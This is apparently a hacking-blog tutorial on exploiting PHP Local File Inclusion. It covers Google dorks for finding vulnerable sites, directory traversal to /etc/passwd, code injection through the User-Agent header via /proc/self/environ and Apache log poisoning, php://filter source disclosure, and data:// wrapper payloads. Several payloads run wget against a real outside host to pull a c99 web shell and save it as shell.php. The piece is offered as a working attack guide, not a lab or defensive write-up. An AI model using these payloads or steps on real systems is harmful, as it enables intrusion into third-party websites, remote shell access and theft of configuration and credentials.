LFI (LOCAL FILE INJECTION) ~ RafayHackZone

1. What is LFI?

2. Finding LFI vulnerabilities

3. Exploiting LFI vulnerabilities

-/proc/self/environ
-/proc/self/fd
- Log poisoning
- wrapper php://filter
- wrapper data://

What is LFI?

Code:

LFI stands for Local File Inclusion. LFI is a type of web-application security vulnerability. LFI is only one of many web-application security vulnerabilities. Web-applications is applications(in other words: pages/websites) you can view and interact with in your web browser.

2. Finding LFI vulnerabilities

You can easily find it.. .
First lets take a look at a php code that is vulnerable to LFI:
Code:

PHP Code:

<?php
$page = $_GET[page];
include($page);
?>

Now, this is a piece of code that should NEVER be used, because the $page isn't sanitized and is passed directly to the webpage, but unfortunately is very common to be find in the www world.

Now To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages.
lets see it
Normal link : http://www.site.com/ru/page.php?d=1
Injection link : http://www.bid-qualitysummit.com/ru/page.php?d=1asdfgd
Output:

Its not always you will get an error message. Sometimes the script might even redirect you to the home page or something when it detects an error.

Dorks:

Code:

inurl:index.php?page=index.php
inurl:index.php?page=sitemap.php
inurl:index.php?page=awards.php
inurl:index.php?page=book.php
inurl:index.php?page=store.php
inurl:index.php?page=items.php
inurl:index.php?page=feedback.php
inurl:index.php?page=welcome.php
inurl:index.php?page=advertise.php
inurl:index.php?page=festival.php
inurl:index.php?page=band.php
inurl:index.php?page=musicians.php
inurl:index.php?page=artist.php
inurl:index.php?page=archive.php
inurl:index.php?page=facilities.php
inurl:index.php?page=activies.php
inurl:index.php?page=bio.php
inurl:index.php?page=biography.php
inurl:index.php?page=menu.php
inurl:index.php?page=profile.php
inurl:index.php?page=terms.php
inurl:index.php?page=tos.php
inurl:index.php?page=screenshots.php
inurl:index.php?page=plans.php
inurl:index.php?page=templates.php
inurl:index.php?page=browse.php
inurl:index.php?page=shows.php
inurl:index.php?page=dining.php
inurl:index.php?page=media.php
inurl:index.php?page=offers.php
inurl:index.php?page=photogallery.php
inurl:index.php?page=schools.php
inurl:index.php?page=rates.php
inurl:index.php?page=buy.php
inurl:index.php?page=pricing.php
inurl:index.php?page=web.php
inurl:index.php?page=cms.php
inurl:index.php?page=sponsors.php
inurl:index.php?page=login.php
inurl:index.php?page=admin.php
inurl:index.php?page=register.php
inurl:index.php?page=signin.php
inurl:index.php?page=signup.php
inurl:index.php?page=artikel.php
inurl:index.php?page=kontakt.php
inurl:index.php?page=directions.php
inurl:index.php?page=farm.php
inurl:index.php?page=resume.php
inurl:index.php?page=products.php
inurl:index.php?page=music.php
inurl:index.php?page=agenda.php
inurl:index.php?page=faculty.php
inurl:index.php?page=overview.php
inurl:index.php?page=research.php
inurl:index.php?page=publications.php
inurl:index.php?page=outreach.php
inurl:index.php?page=education.php
inurl:index.php?page=regulatoins.php

3. Exploiting LFI vulnerabilities

There are 5 methods.

/proc/self/environ
/proc/self/fd (i will update it later)
log poisioning
using wrapper php://filter
using wrapper data:

/proc/self/environ

Lets say that you have successfully found a vulnerable page.
The URL is http://www.site.com/index.php?page=index
Now replace index with /etc/passwd so it will look like this

Code:

www.site.com/index.php?page=/etc/passwd

well if you ger error "No such file in directory" then go to one directory up using ../

Code:

/../etc/passwd
/../../etc/passwd
/../../../etc/passwd

like that
If you try just /etc/passwd and if you are lucky you will get this

Now thats good. You can include files from server.

Now replace /etc/passwd with /proc/self/environ
so your url will look like this :

Code:

www.site.com/index.php?page=/proc/self/environ

it will give this then its good .You are on way

Now download and install "tamper data plugin in firefox"

Go to tools - tamper data
it will look like this

So your page should still be /proc/self/environ
Click Start Tamper, and refresh your page.
so it will open tamper data and ask us to tamper so click on tamper

In the User-Agent field, type:

PHP Code:

<?php phpinfo();?>

Now when your site is down loading, you should get an image that looks something like this if you did it correctly.

Now search for "disable_functions" (Ctrl+F Search function)
Mine is

That is good.We can spawn our shell now!

Now go back and edit your User-Agent.
Change "User-Agent" to:

PHP Code:

<?exec('wget http://www.tektao.com.cn/files/c99.txt -O shell.php');?>

wget function downloads shell in .txt format and renames it as shell.php

Save it and refresh your site.
Go to

Code:

http://www.site.com/shell.php

Code:

www.site.com/index.php?page=shell.php

Voila,we have our shell up.
Enjoy.

Using log poisioning

After knowing you can include any file(s) with a LFI. You could try log poisoning to execute PHP code to gain higher access to the system.

In order to perform a LFI log poisoning you need to be able to include the apache error or and access logs. Unfortuantly for us I believe this have been made "impossible" in newer versions of apache(the most used web server). Nonetheless. It does not stop us from trying.

First, try including various known locations for the apache logs. Here are a few common paths:

Code:

/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/access_log
/var/log/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_l og
/usr/local/apache/logs/error.l og
/var/log/apache/error_log
/var/log/apache2/error_log
/var/log/apache/error.log
/var/log/apache2/error.log
/var/log/error_log
/var/log/error.log

Lets say we can include /var/www/logs/access.log.
so our url will be

Code:

http://www.site.com/index.php?page=/var/www/logs/access.log

It will give look like this log:

Code:

11.11.11.11 – - [05/Feb/2004: 21:34:01 -0600] “GET / tindex.php? Inc = HTTP/1.1″ 200 230 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1 ; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”
11.11.11.11 – - [05/Feb/2004: 21:34:04 -0600] “GET / tindex.php? Inc =../../../ etc / passwd HTTP/1.1″ 200 175 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11″
11.11.11.11– [05/Feb/2004: 21:34:07 -0600] “GET / index.php? Inc = test.php HTTP/1.1″ 200 134 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”
11.11.11.11 – - [05/Feb/2004: 21:34:08 -0600] “GET / index.php? Inc =../../../ var / www / logs / access.log HTTP/1.1 “200 164″ – “” Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11

so we can see logfile stores also our user agent
so we can exploit it via user agent same in /proc/self/environ

lets we change user agent to

PHP Code:

<? Php echo ‘test’;?>

so now output will be

Code:

11.11.11 – - [05/Feb/2004: 21:34:01 -0600] “GET / tindex.php? Inc = HTTP/1.1″ 200 230 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1 ; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”
11.11.11 – - [05/Feb/2004: 21:34:04 -0600] “GET / tindex.php? Inc =../../../ etc / passwd HTTP/1.1″ 200 175 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11″
11.11.11– [05/Feb/2004: 21:34:07 -0600] “GET / index.php? Inc = test.php HTTP/1.1″ 200 134 “-” “Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US, rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 ”
11.11.11 – - [05/Feb/2004: 21:34:08 -0600] “GET / index.php? Inc =../../../ var / www / logs / access.log HTTP/1.1 “200 164″ – “” test ”

if you get test then we can spawn our shell just by changing user agent to

PHP Code:

<?exec('wget http://www.tektao.com.cn/files/c99.txt -O shell.php');?>

Go to

Code:

http://www.site.com/shell.php

Code:

www.site.com/index.php?page=shell.php

Voila,we have our shell up.
Enjoy.

Using wrapper php://filter:

what is php://filter ??

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read.

Well as hacker You can read some yummy file like configuration.php,index.php,database.php etc..
Lets see we read index.php file

Injection link:

Code:

http://site.com/index.php?file=php://filter/convert.base64-encode/resource=index

it will give you result in base64 encoding like this

To read you have to decode that content at
base64decode.org
thats it .

Using wrapper data://

The data: (» RFC 2397) stream wrapper is available since PHP 5.2.0.
Taking advantage of PHP’s RFC 2397 support (http://php.net/manual/en/wrappers.data.php), you can inject the PHP code you want executed directly into the URL.

Lets see it:

Code:

http://www.site.com/index.php?page=data:,?&cmd=whoami

It also supports base 64 Encoding...

Code:

http://www.site.com/index.php?page=data:;base64,PD8gZXhlYygkX0dFVFtjbWRdKTsgPz4=&cmd=whoami

Using the base64 encoding, you may be able to shorten your injection pending that they have size restrictions.
Also notice above, when using $_GET[cmd], there aren’t any quotes used. This still works effectively and it comes in handy if the server has magic_quotes enabled

Note:You can upload shell using it like Encode

PHP Code:

<? exec('wget http://www.tektao.com.cn/files/c99.txt -O shell.php'); ?>

in base64 we get this

Code:

PD8gZXhlYyhcJ3dnZXQgaHR0cDovL3d3dy50ZWt0YW8uY29tLmNuL2ZpbGVzL2M5OS50eHQgLU8gc2hl​bGwucGhwXCcpOyA/Pg==

so injection will be

Code:

http://www.site.com/index.php?page=
data:;base64,PD8gZXhlYyhcJ3dnZXQgaHR0cDovL3d3dy50ZWt0YW8uY29tLmNuL2ZpbGVzL2M5OS5​0eHQgLU8gc2hlbGwucGhwXCcpOyA/Pg==

Now navigate to

Code:

http://www.site.com/shell.php

Code:

http://www.site.com/index.php?page=shell.php

Thank you !!

RafayHackZone

LFI (LOCAL FILE INJECTION)

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